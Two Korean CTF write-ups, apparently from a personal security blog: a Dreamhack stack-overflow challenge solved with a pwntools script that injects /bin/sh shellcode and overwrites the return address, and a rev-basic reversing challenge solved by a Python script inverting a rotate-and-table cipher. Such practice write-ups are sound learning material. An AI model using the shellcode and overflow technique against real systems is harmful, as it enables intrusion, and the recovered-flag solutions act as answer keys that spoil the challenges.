pwnable 배웠는데 그래도 맛이라도 보자.
 

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/6cfb7fc8-faea-431e-ae90-305736581cfc/basic_exploitation_000' 
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

일단 아무런 보호조치가 걸려있지 않다.
 

2. Analysis

우선 코드부터 보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

대충 보면 버퍼의 크기는 0x80, 버퍼의 위치를 출력해주고 그 다음 scanf로 버퍼에 입력받는다.
 

main함수 디스어셈블 결과인데, 버퍼의 시작위치는 [ebp-0x80] == [esp]인 것이 보인다. leave에 bp를 걸고 확인해보자.

그렇다면 우리가 해야할 것은 sfp 4byte를 생각하여 shell코드를 버퍼에 먼저 입력시키고 0x84에서 shell 코드를 뺀 나머지 크기에 dummy data를 채운 후 마지막에 buf를 리턴시키면 shell을 얻을 수 있을 것이다.

3.exploit

 

from pwn import *

p = remote('host3.dreamhack.games', 10820)

#scanf 우회 shell code
shell = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

p.recvuntil('buf = (')
buf = int(p.recv(10), 16)
p.recvuntil('\n')

print(buf)

payload = shell
payload += b'\x41' * (0x80 - len(shell) + 4)
payload += p32(buf)

p.sendline(payload)
p.interactive()

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_002  (0) 2022.08.08
Dreamhack basic_exploitation_001  (0) 2022.08.08

rev-basic의 마지막 문제다.

늘 하던대로 우선 비교함수식을 찾으려고 디버거에서 문자열검색을 했는데 "I_am_KEY"라는 문자열이 있다. 일단 이런게 있구나라 생각하고 비교함수를 확인해보자.
 

지금까지와는 뭔가 느낌이 다른게 머리가 아프다. 그래도 대충 큰 것만 확인해보자면, strlen을 호출해서 입력 문자열의 길이를 확인한다. 그리고 실행하면서 확인해본 결과 스택[rsp+40]에는 입력 문자열, 스택[rsp+24]에는 입력 문자열 배열의 크기가 저장된다.
 
그리고 디버거를 따라가며 확인해보니 문자열 길이가 맞지 않으면 바로 ret으로 넘어가고, 문자열 길이를 맞춰서 가보면 마지막엔 [7FF628904000]과 비교한다.

00007FF628904000  7E 7D 9A 8B 25 2D D5 3D 03 2B 38 98 27 9F 4F BC  ~}..%-Õ=.+8.'.O¼  
00007FF628904010  2A 79 00 7D C4 2A 4F 58 00 00 00 00 00 00 00 00  *y.}Ä*OX........

 
이번에는 정신건강에 이로운 IDA로 디컴파일을 해보자

우선 이 sub_140001000비교함수를 디컴파일해봤다. 여기서 v3에 입력된 문자열의 길이를 저장하고 문자열 길이부터 확인한다. (v3+1)%8 == 0이 아니면 추가 비교 없이 "Wrong"을 출력하고 종료된다. 프로그램에 직접적으로 한글자씩 맞추는걸 막은 것 같다.
문자열 길이 확인 후에는 sub_1400010A0함수를 호출한다. 이 함수도 확인해보자.

여기서 아까 위에서 확인했던 "I_am_KEY"문자열을 사용한다.
 
대충 설명하자면 input[(j + 1) & 7]에 ~~4020[key[j] ^ input[j & 7]]값을 더하고 rotate right를 5만큼 해서 저장한다. 초기값은 input[0]이다.
말로보면 간단한데 이거 역산식짜다가 머리가 터질뻔했다.
 

def rol(x, n):
    shiftBit = x << n
    shiftBit &= 255
    carryBit = x >> 8 - n
    return shiftBit | carryBit

def ror(x, n):
    shiftBit = x >> n
    carryBit = x << (8 - n)
    carryBit &= 255
    return shiftBit | carryBit

key = 'I_am_KEY'
enc = '7E 7D 9A 8B 25 2D D5 3D 03 2B 38 98 27 9F 4F BC 2A 79 00 7D C4 2A 4F 58' #7FF628904000

#byte_140004020
tmp = '63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16 CF 32 25 34 56 3D FF FF 30 CD DA CB A9 C2 00 00'


enc = enc.split(' ')
tmp = tmp.split(' ')


res = []
chars = []

for i in range(len(enc)):
    res.append(int(enc[i], 16))

for i in range(len(tmp)):
    chars.append(int(tmp[i], 16))


for k in reversed(range(3)):
    for i in range(16):
        for j in reversed(range(8)):
            res[k * 8 + ((j + 1) & 7)] = (rol(res[k * 8 + ((j + 1) & 7)], 5) - chars[ord(key[j]) ^ res[k * 8 + (j & 7)]]) & 0xFF

flag = ''
for i in range(len(res)):
    flag += chr(res[i])

print(flag)

중간에 쓸데없는것 같이 보이는 for문이 많은 이유는 파이썬의 타입에러 때문이다.. 후... c로 하면 더 복잡하니 악으로 깡으로 버틴다.
 
결론만 말하자면 예전에 풀었던 몇 번이더라.. rev-basic-5였었나... 이 문제와 같이 마지막에서 부터 하나씩 내려오는 식으로 문제를 풀어야한다.
 
각 인덱스에 k * 8을 더해준 이유는 파이썬에서는 sub_140001000비교함수와 같이 인덱스를 직접적으로 못건들기 때문에 계산식 안에서 처리해줬다.

 
늙어서 눈이 침침해진건지 계산식을 계속 잘못봐서 이거 왜안되지를 3시간동안 반복하다가 겨우 오류 찾았는데 그 다음엔 key인덱스 잘못잡아서 또 한 30분 헤멨다.. 왜이럴까
 
여담으로 수식 외에도 이게 인덱스를 계속 왔다갔다 하는거다 보니 out of range error가 계속 발생했다. 그래서 그냥 byte_140004020을 00 00부분까지 싹다 긁어왔더니 그때부턴 에러가 안나오더라

'Security > Reversing' 카테고리의 다른 글

[wargame.kr] DLL with notepad  (0) 2022.07.13
Secure Mail  (0) 2022.07.13
Dreamhack rev-basic-8  (0) 2022.07.05
Dreamhack rev-basic-7  (0) 2022.06.21
Dreamhack rev-basic-6  (0) 2022.06.01

+ Recent posts